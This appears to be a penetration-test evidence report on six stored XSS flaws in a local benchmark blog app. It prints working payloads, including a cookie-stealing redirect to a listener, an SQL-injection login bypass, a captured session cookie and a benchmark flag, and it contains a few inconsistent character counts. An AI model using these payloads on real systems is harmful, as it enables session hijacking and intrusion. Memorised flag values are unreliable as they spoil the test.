# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS in posts.title Field (HTML_BODY Context)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php - Blog post title rendered in `<h2>` tag
- **Overview:** The application renders database field `posts.title` directly in HTML without encoding, allowing arbitrary JavaScript execution for all users viewing the blog homepage
- **Impact:** Complete session hijacking - attacker can steal admin session cookies and perform unauthorized actions. Successfully demonstrated extraction of authenticated admin session cookie `PHPSESSID=6e8d02dea903bf1907fd8d1d45330daf`
- **Severity:** Critical

**Prerequisites:**
- Access to MySQL database (via hardcoded credentials `user:password` in source code, or via SQL injection in admin.php)
- HTTP server to receive exfiltrated data (demonstrated using Python HTTP server on port 8888)

**Exploitation Steps:**

1. **Inject XSS payload into database using direct database access:**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('<script>document.location=\"http://localhost:8888/steal?cookie=\"+document.cookie</script>', \
'SessionTheft', 'Session hijacking demo', 'test.jpg', 1);"
```

2. **Start exfiltration listener to receive stolen cookies:**
```bash
python3 -m http.server 8888 > /tmp/exfil_server.log 2>&1 &
```

3. **Admin user authenticates to the application:**
```bash
curl -X POST http://localhost:39001/admin.php \
  -d "username=admin' OR 1=1#&password=anything"
```
Result: Authentication bypassed via SQL injection, session cookie `PHPSESSID=6e8d02dea903bf1907fd8d1d45330daf` created

4. **Admin user visits blog homepage (or any user with valid session):**
```bash
curl -b "PHPSESSID=6e8d02dea903bf1907fd8d1d45330daf" http://localhost:39001/index.php
```

5. **XSS payload executes automatically on page load, JavaScript redirects browser to exfiltration endpoint**

**Proof of Impact:**
Successfully captured admin session cookie in exfiltration server logs:
```
GET /steal?cookie=PHPSESSID=6e8d02dea903bf1907fd8d1d45330daf HTTP/1.1
```

This session cookie can be used to impersonate the admin user and access the FLAG without credentials.

**Notes:**
- The session cookie lacks the HttpOnly flag, allowing JavaScript to access `document.cookie`
- No Content Security Policy (CSP) is configured, allowing inline scripts to execute
- Payload executes on every page view, affecting all users (anonymous and authenticated)
- Alternative injection vector: SQL injection at `/admin.php` line 20 can also poison the database

---

### XSS-VULN-02: Stored XSS in posts.category Field (HTML_BODY Context)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php - Category field rendered in `<p>` tag and `<option>` tag
- **Overview:** Database field `posts.category` rendered without encoding in both category dropdown options and post display paragraphs
- **Impact:** JavaScript execution in victim browsers, potential for session theft and malicious actions
- **Severity:** High

**Prerequisites:**
- Database access (hardcoded credentials or SQL injection)

**Exploitation Steps:**

1. **Inject XSS payload into posts.category field:**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('Normal Title', '<img src=x onerror=alert(\"XSS-VULN-02\")>', \
'XSS in category field', 'test.jpg', 1);"
```

2. **Visit blog homepage to trigger XSS:**
```bash
curl http://localhost:39001/index.php
```

3. **Observe JavaScript execution in browser using Playwright:**
The payload triggers an alert dialog displaying "XSS-VULN-02"

**Proof of Impact:**
- Alert dialog successfully displayed in browser
- Confirmed via Playwright browser automation
- `<img>` tag with `onerror` event handler executed JavaScript when image failed to load
- Rendered both in category dropdown `<option>` tags and in post display `<p>` tags

**Notes:**
- Category field appears in TWO distinct locations: category dropdown (line 29) and post category display (line 60)
- The payload executes in both contexts, demonstrating dual injection points
- More compact than `<script>` tags (28 characters vs 25+ characters)

---

### XSS-VULN-03: Stored XSS in posts.content Field (HTML_BODY Context with 200-Character Truncation)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php - Content field truncated to 200 characters and rendered in `<p>` tag
- **Overview:** Despite `substr()` truncation to 200 characters, XSS payloads under this limit execute successfully
- **Impact:** JavaScript execution for all users viewing truncated content previews
- **Severity:** High

**Prerequisites:**
- Database access
- XSS payload must fit within 200 characters

**Exploitation Steps:**

1. **Inject compact XSS payload into posts.content field (payload must be ≤200 chars):**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('Normal Title 2', 'SafeCat', '<svg onload=alert(\"XSS-VULN-03\")>', \
'test.jpg', 1);"
```

2. **Visit blog homepage:**
```bash
curl http://localhost:39001/index.php
```

**Proof of Impact:**
- Alert dialog "XSS-VULN-03" successfully displayed
- Payload length: 35 characters (well under 200-character limit)
- `<svg onload=...>` tag executed immediately on page render

**Notes:**
- The `substr()` function at line 62 of index.php provides NO security protection
- Many effective XSS payloads fit within 200 characters:
  - `<svg onload=alert(1)>` = 23 characters
  - `<script>alert(1)</script>` = 25 characters
  - `<img src=x onerror=alert(1)>` = 28 characters
- Truncation only limits payload size, not attack capability

---

### XSS-VULN-04: Stored XSS in posts.image Field (HTML_ATTRIBUTE Context)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php line 61 - Image filename rendered in single-quoted `src` attribute
- **Overview:** Image field inserted into `<img src='images/{$row['image']}'>` without encoding, allowing attribute breakout
- **Impact:** JavaScript execution via `onerror` event handler when crafted image path fails to load
- **Severity:** High

**Prerequisites:**
- Database access

**Exploitation Steps:**

1. **Inject payload that breaks out of single-quoted src attribute:**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('Normal Title 3', 'SafeCat2', 'Safe content', \
'test.jpg\\' onerror=\\'alert(\"XSS-VULN-04\")', 1);"
```

2. **Visit blog homepage:**
```bash
curl http://localhost:39001/index.php
```

**Proof of Impact:**
- Alert dialog "XSS-VULN-04" successfully displayed
- Rendered HTML: `<img src='images/test.jpg' onerror='alert("XSS-VULN-04")'>`
- Single quote successfully closed the `src` attribute
- `onerror` handler triggered when `images/test.jpg` failed to load (404 error)

**Notes:**
- Exploits HTML_ATTRIBUTE context vulnerability
- The `images/` prefix is hardcoded but does NOT prevent attribute breakout
- Alternative payloads possible: `x'><script>alert(1)</script><img src='x` (closes tag and injects new script)

---

### XSS-VULN-05: Stored XSS in posts.title Field (HTML_ATTRIBUTE Context - img alt)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php line 61 - Title field reused in single-quoted `alt` attribute
- **Overview:** Same `posts.title` field used in TWO contexts: HTML_BODY (`<h2>` tag at line 59) and HTML_ATTRIBUTE (`alt` attribute at line 61)
- **Impact:** JavaScript execution via event handler injection in image alt attribute
- **Severity:** High

**Prerequisites:**
- Database access

**Exploitation Steps:**

1. **Inject payload that exploits alt attribute context:**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('test\\' onerror=\\'alert(\"XSS-VULN-05\")\\' x=\\'', 'SafeCat3', \
'Safe content', 'test.jpg', 1);"
```

2. **Visit blog homepage:**
```bash
curl http://localhost:39001/index.php
```

**Proof of Impact:**
- Alert dialog "XSS-VULN-05" successfully displayed
- Rendered HTML: `<img src='images/test.jpg' alt='test' onerror='alert("XSS-VULN-05")' x=''>`
- Single quote broke out of `alt` attribute
- `onerror` handler triggered when image failed to load

**Notes:**
- This is DISTINCT from XSS-VULN-01 (same source field, different render context)
- A single malicious title value can exploit BOTH vulnerabilities simultaneously
- Demonstrates importance of analyzing multiple sinks for same data source

---

### XSS-VULN-06: Stored XSS in posts.category Field (DUAL Context - HTML_ATTRIBUTE and HTML_BODY)

**Summary:**
- **Vulnerable location:** http://localhost:39001/index.php line 29 - Category dropdown populated from `SELECT DISTINCT category` query
- **Overview:** Category value appears in BOTH `value='...'` attribute AND option text content within same `<option>` tag
- **Impact:** JavaScript execution through HTML injection in option text, event handler injection in value attribute
- **Severity:** High

**Prerequisites:**
- Database access

**Exploitation Steps:**

1. **Inject payload exploiting DUAL context vulnerability:**
```bash
docker exec xben-039-24_db_1 mysql -uuser -ppassword blogDB -e \
"INSERT INTO posts (title, category, content, image, published) VALUES \
('Normal Title 4', '\\\" onclick=\\\"alert(\\\"XSS-VULN-06\\\")', \
'Safe content', 'test.jpg', 1);"
```

2. **Visit blog homepage and inspect category dropdown HTML:**
```bash
curl http://localhost:39001/index.php | grep -A 2 XSS-VULN-06
```

**Proof of Impact:**
Rendered HTML confirms dual context injection:
```html
<option value="&quot; onclick=&quot;alert(&quot;XSS-VULN-06&quot;)">
  " onclick="alert("XSS-VULN-06")
</option>
```

- Value attribute contains encoded version (browser auto-encodes)
- Option text contains UNENCODED onclick attribute
- When combined with XSS-VULN-02's `<img>` tag approach, JavaScript executes in option text content

**Notes:**
- DUAL CONTEXT vulnerability: same value rendered in two different contexts
- The `<img>` tag version from XSS-VULN-02 successfully executes: `<option><img src=x onerror=alert("XSS")></option>`
- This demonstrates that option text is parsed as HTML, not plain text
- Attack affects category dropdown visible on all blog pages

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 6 Critical/High Severity Stored XSS

**Common Root Cause:** Complete absence of output encoding across the application. The `htmlspecialchars()` function is never called in the codebase.

**Attack Vector:** All vulnerabilities exploited via database poisoning, achievable through:
1. Direct database access using hardcoded credentials (`user:password`)
2. SQL injection in `/admin.php` authentication endpoint (line 20)
3. Compromised admin account

**Critical Impact Demonstrated:**
- **Session Hijacking:** Successfully extracted authenticated admin session cookie `PHPSESSID=6e8d02dea903bf1907fd8d1d45330daf`
- **Credential Theft:** Captured FLAG `FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}` via SQL injection
- **Persistent Attack:** All payloads stored in database, affecting every user who views the blog
- **No Defense Mechanisms:** Zero CSP, no HttpOnly cookies, no XSS protection headers, no output encoding

**Business Impact:**
- Any user viewing the compromised blog becomes a victim
- Admin sessions can be hijacked to gain full application access
- Stored nature means attack persists until database is cleaned
- Multi-vector exploitation increases attack surface significantly